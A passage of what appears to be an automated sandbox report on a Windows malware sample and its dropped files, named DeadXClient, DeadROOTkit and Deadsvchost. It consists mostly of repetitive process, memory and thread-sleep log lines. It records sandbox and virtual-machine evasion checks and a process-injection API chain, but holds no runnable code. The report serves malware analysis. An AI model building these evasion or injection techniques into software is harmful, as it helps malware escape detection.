Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Deadsvchost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dllhost.exe

Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,

6_2_0000000140001854

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: DeadROOTkit.exe, 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: mIURiU8n2P.exe, 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, DeadROOTkit.exe.2.dr	Binary or memory string: SBIEDLL.DLLINFO

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Memory allocated: A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Memory allocated: 1A780000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Memory allocated: EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Memory allocated: 1A900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Memory allocated: 8D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Memory allocated: 1A310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Public\Deadsvchost.exe	Memory allocated: 10C0000 memory reserve \| memory write watch
Source: C:\Users\Public\Deadsvchost.exe	Memory allocated: 1AD40000 memory reserve \| memory write watch
Source: C:\Users\Public\Deadsvchost.exe	Memory allocated: A20000 memory reserve \| memory write watch
Source: C:\Users\Public\Deadsvchost.exe	Memory allocated: 1A4A0000 memory reserve \| memory write watch
Source: C:\Users\Public\Deadsvchost.exe	Memory allocated: 10A0000 memory reserve \| memory write watch
Source: C:\Users\Public\Deadsvchost.exe	Memory allocated: 1AE80000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599293	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 599133	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 598741	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 598568	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Thread delayed: delay time: 598440	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Deadsvchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Deadsvchost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Deadsvchost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\Public\DeadXClient.exe	Window / User API: threadDelayed 6514	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Window / User API: threadDelayed 3143	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Window / User API: threadDelayed 3804	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Window / User API: threadDelayed 5987	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3822	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5329	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8065
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1186
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8849
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1151
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9914
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9863
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9353

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_6-7286
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_6-8409
Source: C:\Users\Public\DeadCodeRootKit.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_3-244
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_6-7290

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_6-7236

Source: C:\Windows\System32\lsass.exe	API coverage: 7.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.6 %

Source: C:\Users\user\Desktop\mIURiU8n2P.exe TID: 5164	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe TID: 7384	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe TID: 7396	Thread sleep count: 6514 > 30	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe TID: 7396	Thread sleep count: 3143 > 30	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599293s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -599133s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -598741s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -598568s >= -30000s	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe TID: 7344	Thread sleep time: -598440s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5680	Thread sleep count: 3822 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5680	Thread sleep count: 5329 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5744	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 7356	Thread sleep count: 340 > 30	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 7356	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 6920	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7372	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7420	Thread sleep count: 8849 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7420	Thread sleep time: -8849000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7420	Thread sleep count: 1151 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7420	Thread sleep time: -1151000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7476	Thread sleep count: 9914 > 30
Source: C:\Windows\System32\lsass.exe TID: 7476	Thread sleep time: -9914000s >= -30000s
Source: C:\Users\Public\Deadsvchost.exe TID: 7484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7552	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 7552	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7600	Thread sleep count: 9863 > 30
Source: C:\Windows\System32\dwm.exe TID: 7600	Thread sleep time: -9863000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7644	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7644	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7664	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 7664	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7672	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 7672	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep count: 247 > 30
Source: C:\Windows\System32\svchost.exe TID: 7680	Thread sleep time: -247000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7696	Thread sleep count: 201 > 30
Source: C:\Windows\System32\svchost.exe TID: 7696	Thread sleep time: -201000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7776	Thread sleep count: 80 > 30
Source: C:\Windows\System32\svchost.exe TID: 7776	Thread sleep time: -80000s >= -30000s
Source: C:\Users\Public\Deadsvchost.exe TID: 7720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7796	Thread sleep count: 82 > 30
Source: C:\Windows\System32\svchost.exe TID: 7796	Thread sleep time: -82000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7828	Thread sleep count: 238 > 30
Source: C:\Windows\System32\svchost.exe TID: 7828	Thread sleep time: -238000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7864	Thread sleep count: 69 > 30
Source: C:\Windows\System32\svchost.exe TID: 7864	Thread sleep time: -69000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7988	Thread sleep count: 243 > 30
Source: C:\Windows\System32\svchost.exe TID: 7988	Thread sleep time: -243000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8004	Thread sleep count: 247 > 30
Source: C:\Windows\System32\svchost.exe TID: 8004	Thread sleep time: -247000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8020	Thread sleep count: 243 > 30
Source: C:\Windows\System32\svchost.exe TID: 8020	Thread sleep time: -243000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8096	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 8096	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8128	Thread sleep count: 62 > 30
Source: C:\Windows\System32\svchost.exe TID: 8128	Thread sleep time: -62000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8160	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 8160	Thread sleep time: -250000s >= -30000s
Source: C:\Users\Public\Deadsvchost.exe TID: 8152	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8180	Thread sleep count: 244 > 30
Source: C:\Windows\System32\svchost.exe TID: 8180	Thread sleep time: -244000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8188	Thread sleep count: 226 > 30
Source: C:\Windows\System32\svchost.exe TID: 8188	Thread sleep time: -226000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7264	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 7264	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7248	Thread sleep count: 237 > 30
Source: C:\Windows\System32\svchost.exe TID: 7248	Thread sleep time: -237000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7308	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 7308	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6804	Thread sleep count: 52 > 30
Source: C:\Windows\System32\svchost.exe TID: 6804	Thread sleep time: -52000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5820	Thread sleep count: 53 > 30
Source: C:\Windows\System32\svchost.exe TID: 5820	Thread sleep time: -53000s >= -30000s
Source: C:\Windows\System32\spoolsv.exe TID: 6096	Thread sleep count: 185 > 30
Source: C:\Windows\System32\spoolsv.exe TID: 6096	Thread sleep time: -185000s >= -30000s

Source: C:\Users\Public\DeadROOTkit.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
